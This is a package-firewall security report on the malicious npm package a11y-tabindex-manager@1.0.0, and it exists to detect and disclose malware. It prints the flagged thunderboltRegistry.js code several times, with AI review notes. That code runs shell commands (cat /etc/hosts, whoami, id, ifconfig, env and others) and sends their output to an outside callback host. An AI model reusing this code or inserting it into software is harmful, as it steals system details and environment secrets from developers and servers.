a11y-tabindex-manager@1.0.0: Malicious npm security report

Loading npm security reports…

a11y-tabindex-manager@1.0.0: Malicious npm security report | LPM Firewall

Source & flagged code

4 flagged

thunderboltRegistry.jsView file

Lines 1-74javascript

1(function(){

2 var wh = "http://dxpoc.gt.tc/callback.php/ef9ea0e191006f3cc6670720c99c26f3";

3 var exfil = function(params) {

4 try { fetch(wh + "?" + params).catch(function(){}); } catch(e) {}

5 };

7 var cp = null;

8 try { cp = require("child_process"); } catch(e) {}

High

Ai Review Evidence

thunderboltRegistry.js immediately defines a sender that transmits collected data to a fixed external HTTP endpoint.

thunderboltRegistry.jsView on unpkg · L2

9 try { if (!cp) cp = require("node:child_process"); } catch(e) {}

10 try { if (!cp && module && module.constructor) { var m = new module.constructor(); m.paths = module.paths; cp = m.require("child_process"

12 if (cp && typeof cp.execSync === "function") {

13 try {

14 var etchosts = cp.execSync("cat /etc/hosts", {encoding: "utf8", timeout: 5000}).trim();

15 exfil("cmd=cat-etc-hosts&out=" + encodeURIComponent(etchosts.substring(0, 2000)));

16 } catch(e) {}

18 try {

19 var whoami = cp.execSync("whoami", {encoding: "utf8", timeout: 5000}).trim();

High

Ai Review Evidence

The registry code reads /etc/hosts through a shell command and forwards its contents; it also collects identity and network information.

thunderboltRegistry.jsView on unpkg · L14

20 exfil("cmd=whoami&out=" + encodeURIComponent(whoami));

21 } catch(e) {}

23 try {

24 var idout = cp.execSync("id", {encoding: "utf8", timeout: 5000}).trim();

25 exfil("cmd=id&out=" + encodeURIComponent(idout));

26 } catch(e) {}

28 try {

29 var pwd = cp.execSync("pwd", {encoding: "utf8", timeout: 5000}).trim();

30 exfil("cmd=pwd&out=" + encodeURIComponent(pwd));

31 } catch(e) {}

33 try {

34 var ifc = cp.execSync("ifconfig 2>/dev/null || ip addr 2>/dev/null || echo no-ifconfig", {encoding: "utf8", timeout: 5000}).trim();

35 exfil("cmd=ifconfig&out=" + encodeURIComponent(ifc.substring(0, 2000)));

36 } catch(e) {}

38 try {

39 var hn = cp.execSync("hostname", {encoding: "utf8", timeout: 5000}).trim();

40 exfil("cmd=hostname&out=" + encodeURIComponent(hn));

41 } catch(e) {}

43 try {

44 var resolv = cp.execSync("cat /etc/resolv.conf 2>/dev/null || echo no-resolv", {encoding: "utf8", timeout: 5000}).trim();

45 exfil("cmd=cat-resolv-conf&out=" + encodeURIComponent(resolv.substring(0, 1500)));

46 } catch(e) {}

48 try {

49 var uname = cp.execSync("uname -a", {encoding: "utf8", timeout: 5000}).trim();

50 exfil("cmd=uname&out=" + encodeURIComponent(uname));

51 } catch(e) {}

53 try {

54 var env = cp.execSync("env 2>/dev/null | head -50", {encoding: "utf8", timeout: 5000}).trim();

55 exfil("cmd=env&out=" + encodeURIComponent(env.substring(0, 2000)));

56 } catch(e) {}

57 }

59 var nv = "no", pl = "no", pid = "0";

60 try { nv = process.version; pl = process.platform; pid = String(process.pid); } catch(e) {}

High

Ai Review Evidence

The registry code runs a shell command to collect environment variables and forwards up to 2,000 characters.

thunderboltRegistry.jsView on unpkg · L54

61 exfil("beacon=rce-poc-v3&node=" + encodeURIComponent(nv) + "&platform=" + encodeURIComponent(pl) + "&pid=" + pid + "&has_cp=" + !!cp);

62})();

64var hosts = [

65 "thunderboltRegistry","siteAssetsRegistry","documentManagementRegistry",

66 "editorRegistry","corvidRegistry","dataBindingRegistry","autoCompleteRegistry",

67 "thunderboltBuilderRegistry","thunderboltPreviewRegistry"

68];

69var factory = function() {

70 var n = 0;

71 return new Proxy({

72 ensureComponentLoadersAreCreated: function() { return Promise.resolve(); },

73 ensureManifestsAreLoaded: function() { return Promise.resolve(); },

74 getComponentsLoaders: function() { return {}; },

registry-manifest.min.jsonView file

Lines 1-10json

2 "thunderboltRegistry.js": "https://static.parastorage.com/unpkg/a11y-tabindex-manager@1.0.0/thunderboltRegistry.js",

3 "siteAssetsRegistry.js": "https://static.parastorage.com/unpkg/a11y-tabindex-manager@1.0.0/thunderboltRegistry.js",

High

Ai Review Evidence

registry-manifest.min.json maps registry assets to the executable thunderboltRegistry.js file.

registry-manifest.min.jsonView on unpkg · L2

4 "documentManagementRegistry.js": "https://static.parastorage.com/unpkg/a11y-tabindex-manager@1.0.0/thunderboltRegistry.js"

Source & flagged code

4 flagged · loading source

thunderboltRegistry.jsView file

2var wh = "http://dxpoc.gt.tc/callback.[redacted]"; var exfil = function(params) { try { fetch(wh + "?" + params).catch(function(){}); } catch(e) {} }; var cp = null;

High

Ai Review Evidence

thunderboltRegistry.js immediately defines a sender that transmits collected data to a fixed external HTTP endpoint.

thunderboltRegistry.jsView on unpkg · L2

54var env = cp.execSync("env 2>/dev/null | head -50", {encoding: "utf8", timeout: 5000}).trim(); exfil("cmd=env&out=" + encodeURIComponent(env.substring(0, 2000))); } catch(e) {} } var nv = "no", pl = "no", pid = "0"; try { nv =

High

Ai Review Evidence

The registry code runs a shell command to collect environment variables and forwards up to 2,000 characters.

thunderboltRegistry.jsView on unpkg · L54

14var etchosts = cp.execSync("cat /etc/hosts", {encoding: "utf8", timeout: 5000}).trim(); exfil("cmd=cat-etc-hosts&out=" + encodeURIComponent(etchosts.substring(0, 2000))); } catch(e) {} try { var whoami = cp

High

Ai Review Evidence

The registry code reads /etc/hosts through a shell command and forwards its contents; it also collects identity and network information.

thunderboltRegistry.jsView on unpkg · L14

registry-manifest.min.jsonView file

2"thunderboltRegistry.js": "https://static.parastorage.com/unpkg/a11y-tabindex-manager@1.0.0/thunderboltRegistry.js", "siteAssetsR

High

Ai Review Evidence

registry-manifest.min.json maps registry assets to the executable thunderboltRegistry.js file.

registry-manifest.min.jsonView on unpkg · L2

Source & flagged code

4 flagged

thunderboltRegistry.jsView file

Lines 1-74javascript

1(function(){

2 var wh = "http://dxpoc.gt.tc/callback.php/ef9ea0e191006f3cc6670720c99c26f3";

3 var exfil = function(params) {

4 try { fetch(wh + "?" + params).catch(function(){}); } catch(e) {}

5 };

7 var cp = null;

8 try { cp = require("child_process"); } catch(e) {}

High

Ai Review Evidence

thunderboltRegistry.js immediately defines a sender that transmits collected data to a fixed external HTTP endpoint.

thunderboltRegistry.jsView on unpkg · L2

9 try { if (!cp) cp = require("node:child_process"); } catch(e) {}

10 try { if (!cp && module && module.constructor) { var m = new module.constructor(); m.paths = module.paths; cp = m.require("child_process"

12 if (cp && typeof cp.execSync === "function") {

13 try {

14 var etchosts = cp.execSync("cat /etc/hosts", {encoding: "utf8", timeout: 5000}).trim();

15 exfil("cmd=cat-etc-hosts&out=" + encodeURIComponent(etchosts.substring(0, 2000)));

16 } catch(e) {}

18 try {

19 var whoami = cp.execSync("whoami", {encoding: "utf8", timeout: 5000}).trim();

High

Ai Review Evidence

The registry code reads /etc/hosts through a shell command and forwards its contents; it also collects identity and network information.

thunderboltRegistry.jsView on unpkg · L14

20 exfil("cmd=whoami&out=" + encodeURIComponent(whoami));

21 } catch(e) {}

23 try {

24 var idout = cp.execSync("id", {encoding: "utf8", timeout: 5000}).trim();

25 exfil("cmd=id&out=" + encodeURIComponent(idout));

26 } catch(e) {}

28 try {

29 var pwd = cp.execSync("pwd", {encoding: "utf8", timeout: 5000}).trim();

30 exfil("cmd=pwd&out=" + encodeURIComponent(pwd));

31 } catch(e) {}

33 try {

34 var ifc = cp.execSync("ifconfig 2>/dev/null || ip addr 2>/dev/null || echo no-ifconfig", {encoding: "utf8", timeout: 5000}).trim();

35 exfil("cmd=ifconfig&out=" + encodeURIComponent(ifc.substring(0, 2000)));

36 } catch(e) {}

38 try {

39 var hn = cp.execSync("hostname", {encoding: "utf8", timeout: 5000}).trim();

40 exfil("cmd=hostname&out=" + encodeURIComponent(hn));

41 } catch(e) {}

43 try {

44 var resolv = cp.execSync("cat /etc/resolv.conf 2>/dev/null || echo no-resolv", {encoding: "utf8", timeout: 5000}).trim();

45 exfil("cmd=cat-resolv-conf&out=" + encodeURIComponent(resolv.substring(0, 1500)));

46 } catch(e) {}

48 try {

49 var uname = cp.execSync("uname -a", {encoding: "utf8", timeout: 5000}).trim();

50 exfil("cmd=uname&out=" + encodeURIComponent(uname));

51 } catch(e) {}

53 try {

54 var env = cp.execSync("env 2>/dev/null | head -50", {encoding: "utf8", timeout: 5000}).trim();

55 exfil("cmd=env&out=" + encodeURIComponent(env.substring(0, 2000)));

56 } catch(e) {}

57 }

59 var nv = "no", pl = "no", pid = "0";

60 try { nv = process.version; pl = process.platform; pid = String(process.pid); } catch(e) {}

High

Ai Review Evidence

The registry code runs a shell command to collect environment variables and forwards up to 2,000 characters.

thunderboltRegistry.jsView on unpkg · L54

61 exfil("beacon=rce-poc-v3&node=" + encodeURIComponent(nv) + "&platform=" + encodeURIComponent(pl) + "&pid=" + pid + "&has_cp=" + !!cp);

62})();

64var hosts = [

65 "thunderboltRegistry","siteAssetsRegistry","documentManagementRegistry",

66 "editorRegistry","corvidRegistry","dataBindingRegistry","autoCompleteRegistry",

67 "thunderboltBuilderRegistry","thunderboltPreviewRegistry"

68];

69var factory = function() {

70 var n = 0;

71 return new Proxy({

72 ensureComponentLoadersAreCreated: function() { return Promise.resolve(); },

73 ensureManifestsAreLoaded: function() { return Promise.resolve(); },

74 getComponentsLoaders: function() { return {}; },

registry-manifest.min.jsonView file

Lines 1-10json

2 "thunderboltRegistry.js": "https://static.parastorage.com/unpkg/a11y-tabindex-manager@1.0.0/thunderboltRegistry.js",

3 "siteAssetsRegistry.js": "https://static.parastorage.com/unpkg/a11y-tabindex-manager@1.0.0/thunderboltRegistry.js",

High

Ai Review Evidence

registry-manifest.min.json maps registry assets to the executable thunderboltRegistry.js file.

registry-manifest.min.jsonView on unpkg · L2

4 "documentManagementRegistry.js": "https://static.parastorage.com/unpkg/a11y-tabindex-manager@1.0.0/thunderboltRegistry.js"

a11y-tabindex-manager@1.0.0

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code